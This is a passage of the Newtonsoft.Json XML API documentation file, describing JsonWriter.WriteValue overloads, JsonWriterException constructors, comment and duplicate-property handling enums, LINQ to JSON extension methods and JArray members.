cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Char\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Char\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.Byte})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Byte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Byte\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.SByte})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.SByte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.SByte\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.Decimal})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.DateTime})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.DateTimeOffset})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.Guid})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Guid\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Guid\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.TimeSpan})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.TimeSpan\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.TimeSpan\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Byte[])\">\n            <summary>\n            Writes a <see cref=\"T:System.Byte\"/>[] value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Byte\"/>[] value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Uri)\">\n            <summary>\n            Writes a <see cref=\"T:System.Uri\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Uri\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Object)\">\n            <summary>\n            Writes a <see cref=\"T:System.Object\"/> value.\n            An error will raised if the value cannot be written as a single JSON token.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Object\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteComment(System.String)\">\n            <summary>\n            Writes a comment <c>/*...*/</c> containing the specified text.\n            </summary>\n            <param name=\"text\">Text to place inside the comment.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteWhitespace(System.String)\">\n            <summary>\n            Writes the given white space.\n            </summary>\n            <param name=\"ws\">The string of white space characters.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.Dispose(System.Boolean)\">\n            <summary>\n            Releases unmanaged and - optionally - managed resources.\n            </summary>\n            <param name=\"disposing\"><c>true</c> to release both managed and unmanaged resources; <c>false</c> to release only unmanaged resources.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.SetWriteState(Newtonsoft.Json.JsonToken,System.Object)\">\n            <summary>\n            Sets the state of the <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n            <param name=\"token\">The <see cref=\"T:Newtonsoft.Json.JsonToken\"/> being written.</param>\n            <param name=\"value\">The value being written.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonWriterException\">\n            <summary>\n            The exception thrown when an error occurs while writing JSON text.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriterException.Path\">\n            <summary>\n            Gets the path to the JSON where the error occurred.\n            </summary>\n            <value>The path to the JSON where the error occurred.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriterException.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonWriterException\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriterException.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonWriterException\"/> class\n            with a specified error message.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriterException.#ctor(System.String,System.Exception)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonWriterException\"/> class\n            with a specified error message and a reference to the inner exception that is the cause of this exception.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n            <param name=\"innerException\">The exception that is the cause of the current exception, or <c>null</c> if no inner exception is specified.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriterException.#ctor(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonWriterException\"/> class.\n            </summary>\n            <param name=\"info\">The <see cref=\"T:System.Runtime.Serialization.SerializationInfo\"/> that holds the serialized object data about the exception being thrown.</param>\n            <param name=\"context\">The <see cref=\"T:System.Runtime.Serialization.StreamingContext\"/> that contains contextual information about the source or destination.</param>\n            <exception cref=\"T:System.ArgumentNullException\">The <paramref name=\"info\"/> parameter is <c>null</c>.</exception>\n            <exception cref=\"T:System.Runtime.Serialization.SerializationException\">The class name is <c>null</c> or <see cref=\"P:System.Exception.HResult\"/> is zero (0).</exception>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriterException.#ctor(System.String,System.String,System.Exception)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonWriterException\"/> class\n            with a specified error message, JSON path and a reference to the inner exception that is the cause of this exception.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n            <param name=\"path\">The path to the JSON where the error occurred.</param>\n            <param name=\"innerException\">The exception that is the cause of the current exception, or <c>null</c> if no inner exception is specified.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.CommentHandling\">\n            <summary>\n            Specifies how JSON comments are handled when loading JSON.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.CommentHandling.Ignore\">\n            <summary>\n            Ignore comments.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.CommentHandling.Load\">\n            <summary>\n            Load comments as a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> with type <see cref=\"F:Newtonsoft.Json.Linq.JTokenType.Comment\"/>.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.DuplicatePropertyNameHandling\">\n            <summary>\n            Specifies how duplicate property names are handled when loading JSON.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.DuplicatePropertyNameHandling.Replace\">\n            <summary>\n            Replace the existing value when there is a duplicate property. The value of the last property in the JSON object will be used.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.DuplicatePropertyNameHandling.Ignore\">\n            <summary>\n            Ignore the new value when there is a duplicate property. The value of the first property in the JSON object will be used.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.DuplicatePropertyNameHandling.Error\">\n            <summary>\n            Throw a <see cref=\"T:Newtonsoft.Json.JsonReaderException\"/> when a duplicate property is encountered.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.Extensions\">\n            <summary>\n            Contains the LINQ to JSON extension methods.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Ancestors``1(System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Returns a collection of tokens that contains the ancestors of every token in the source collection.\n            </summary>\n            <typeparam name=\"T\">The type of the objects in source, constrained to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</typeparam>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the ancestors of every token in the source collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.AncestorsAndSelf``1(System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Returns a collection of tokens that contains every token in the source collection, and the ancestors of every token in the source collection.\n            </summary>\n            <typeparam name=\"T\">The type of the objects in source, constrained to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</typeparam>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains every token in the source collection, the ancestors of every token in the source collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Descendants``1(System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Returns a collection of tokens that contains the descendants of every token in the source collection.\n            </summary>\n            <typeparam name=\"T\">The type of the objects in source, constrained to <see cref=\"T:Newtonsoft.Json.Linq.JContainer\"/>.</typeparam>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the descendants of every token in the source collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.DescendantsAndSelf``1(System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Returns a collection of tokens that contains every token in the source collection, and the descendants of every token in the source collection.\n            </summary>\n            <typeparam name=\"T\">The type of the objects in source, constrained to <see cref=\"T:Newtonsoft.Json.Linq.JContainer\"/>.</typeparam>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains every token in the source collection, and the descendants of every token in the source collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Properties(System.Collections.Generic.IEnumerable{Newtonsoft.Json.Linq.JObject})\">\n            <summary>\n            Returns a collection of child properties of every object in the source collection.\n            </summary>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> that contains the source collection.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> that contains the properties of every object in the source collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Values(System.Collections.Generic.IEnumerable{Newtonsoft.Json.Linq.JToken},System.Object)\">\n            <summary>\n            Returns a collection of child values of every object in the source collection with the given key.\n            </summary>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <param name=\"key\">The token key.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the values of every token in the source collection with the given key.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Values(System.Collections.Generic.IEnumerable{Newtonsoft.Json.Linq.JToken})\">\n            <summary>\n            Returns a collection of child values of every object in the source collection.\n            </summary>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the values of every token in the source collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Values``1(System.Collections.Generic.IEnumerable{Newtonsoft.Json.Linq.JToken},System.Object)\">\n            <summary>\n            Returns a collection of converted child values of every object in the source collection with the given key.\n            </summary>\n            <typeparam name=\"U\">The type to convert the values to.</typeparam>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <param name=\"key\">The token key.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> that contains the converted values of every token in the source collection with the given key.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Values``1(System.Collections.Generic.IEnumerable{Newtonsoft.Json.Linq.JToken})\">\n            <summary>\n            Returns a collection of converted child values of every object in the source collection.\n            </summary>\n            <typeparam name=\"U\">The type to convert the values to.</typeparam>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> that contains the converted values of every token in the source collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Value``1(System.Collections.Generic.IEnumerable{Newtonsoft.Json.Linq.JToken})\">\n            <summary>\n            Converts the value.\n            </summary>\n            <typeparam name=\"U\">The type to convert the value to.</typeparam>\n            <param name=\"value\">A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> cast as a <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</param>\n            <returns>A converted value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Value``2(System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Converts the value.\n            </summary>\n            <typeparam name=\"T\">The source collection type.</typeparam>\n            <typeparam name=\"U\">The type to convert the value to.</typeparam>\n            <param name=\"value\">A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> cast as a <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</param>\n            <returns>A converted value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Children``1(System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Returns a collection of child tokens of every array in the source collection.\n            </summary>\n            <typeparam name=\"T\">The source collection type.</typeparam>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the values of every token in the source collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Children``2(System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Returns a collection of converted child tokens of every array in the source collection.\n            </summary>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <typeparam name=\"U\">The type to convert the values to.</typeparam>\n            <typeparam name=\"T\">The source collection type.</typeparam>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> that contains the converted values of every token in the source collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.AsJEnumerable(System.Collections.Generic.IEnumerable{Newtonsoft.Json.Linq.JToken})\">\n            <summary>\n            Returns the input typed as <see cref=\"T:Newtonsoft.Json.Linq.IJEnumerable`1\"/>.\n            </summary>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <returns>The input typed as <see cref=\"T:Newtonsoft.Json.Linq.IJEnumerable`1\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.AsJEnumerable``1(System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Returns the input typed as <see cref=\"T:Newtonsoft.Json.Linq.IJEnumerable`1\"/>.\n            </summary>\n            <typeparam name=\"T\">The source collection type.</typeparam>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <returns>The input typed as <see cref=\"T:Newtonsoft.Json.Linq.IJEnumerable`1\"/>.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.IJEnumerable`1\">\n            <summary>\n            Represents a collection of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> objects.\n            </summary>\n            <typeparam name=\"T\">The type of token.</typeparam>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.IJEnumerable`1.Item(System.Object)\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.IJEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key.\n            </summary>\n            <value></value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JArray\">\n            <summary>\n            Represents a JSON array.\n            </summary>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\LinqToJsonTests.cs\" region=\"LinqToJsonCreateParseArray\" title=\"Parsing a JSON Array from Text\" />\n            </example>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JArray.ChildrenTokens\">\n            <summary>\n            Gets the container's children tokens.\n            </summary>\n            <value>The container's children tokens.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JArray.Type\">\n            <summary>\n            Gets the node type for this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <value>The type.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.#ctor(Newtonsoft.Json.Linq.JArray)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> class from another <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> object.\n            </summary>\n            <param name=\"other\">A <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> object to copy from.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.#ctor(System.Object[])\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> class with the specified content.\n            </summary>\n            <param name=\"content\">The contents of the array.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.#ctor(System.Object)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> class with the specified content.\n            </summary>\n            <param name=\"content\">The contents of the array.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.Load(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Loads an <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>. \n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.Load(Newtonsoft.Json.JsonReader,Newtonsoft.Json.Linq.JsonLoadSettings)\">\n            <summary>\n            Loads an <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>. \n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.Parse(System.String)\">\n            <summary>\n            Load a <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> from a string that contains JSON.\n            </summary>\n            <param name=\"json\">A <see cref=\"T:System.String\"/> that contains JSON.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> populated from the string that contains JSON.</returns>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\LinqToJsonTests.cs\" region=\"LinqToJsonCreateParseArray\" title=\"Parsing a JSON Array from Text\" />\n            </example>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.Parse(System.String,Newtonsoft.Json.Linq.JsonLoadSettings)\">\n            <summary>\n            Load a <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> from a string that contains JSON.\n            </summary>\n            <param name=\"json\">A <see cref=\"T:System.String\"/> that contains JSON.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> populated from the string that contains JSON.</returns>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\LinqToJsonTests.cs\" region=\"LinqToJsonCreateParseArray\" title=\"Parsing a JSON Array from Text\" />\n            </example>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.FromObject(System.Object)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> from an object.\n            </summary>\n            <param name=\"o\">The object that will be used to create <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> with the values of the specified object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.FromObject(System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> from an object.\n            </summary>\n            <param name=\"o\">The object that will be used to create <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.</param>\n            <param name=\"jsonSerializer\">The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> that will be used to read the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> with the values of the specified object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.WriteTo(Newtonsoft.Json.JsonWriter,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Writes this token to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> which will be used when writing the token.</param>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JArray.Item(System.Object)\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JArray.Item(System.Int32)\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> at the specified index.\n            </summary>\n            <value></value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.IndexOf(Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Determines the index of a specific item in the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.\n            </summary>\n            <param name=\"item\">The object to locate in the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.</param>\n            <returns>\n            The index of <paramref name=\"item\"/> if found in the list; otherwise, -1.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.Insert(System.Int32,Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Inserts an item to the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> at the specified index.\n            </summary>\n            <param name=\"index\">The zero-based index at which <paramref name=\"item\"/> should be inserted.</param>\n            <param name=\"item\">The object to insert into the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.</param>\n            <exception cref=\"T:System.ArgumentOutOfRangeException\">\n            <paramref name=\"index\"/> is not a valid index in the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.\n            </exception>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.RemoveAt(System.Int32)\">\n            <summary>\n            Removes the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> item at the specified index.\n            </summary>\n            <param name=\"index\">The zero-based index of the item to remove.</param>\n            <exception cref=\"T:System.ArgumentOutOfRangeException\">\n            <paramref name=\"index\"/> is not a valid index in the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.\n            </exception>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.GetEnumerator\">\n            <summary>\n            Returns an enumerator that iterates through the collection.\n            </summary>\n            <returns>\n            A <see cref=\"T:System.Collections.Generic.IEnumerator`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that can be used to iterate through the collection.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.Add(Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Adds an item to the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.\n            </summary>\n            <param name=\"item\">The object to add to the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.Clear\">\n            <summary>\n            Removes all items from the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.Contains(Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Determines whether the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> contains a specific value.\n            </summary>\n            <param name=\"item\">The object to locate in the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.</param>\n            <returns>\n            <c>true</c> if <paramref name=\"item\"/> is found in the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.CopyTo(Newtonsoft.Json.Linq.JToken[],System.Int32)\">\n            <summary>\n            Copies the elements of the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> to an array, starting at a particular array index.\n            </summary>\n            <param name=\"array\">The array.</param>\n            <param name=\"arrayIndex\">Index of the array.</param>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JArray.IsReadOnly\">\n            <summary>\n            Gets a value indicating whether the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> is read-only.\n            </summary>\n            <returns><c>true</c> if the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> is read-only; otherwise, <c>false</c>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.Remove(Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Removes the first occurrence of a specific object from the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.\n            </summary>\n            <param name=\"item\">The object to remove from the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.</param>\n            <returns>\n            <c>true</c> if <paramref name=\"item\"/> was successfully removed from the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>; otherwise, <c>false</c>. This method also returns <c>false</c> if <paramref name=\"item\"/> is not found in the original <see 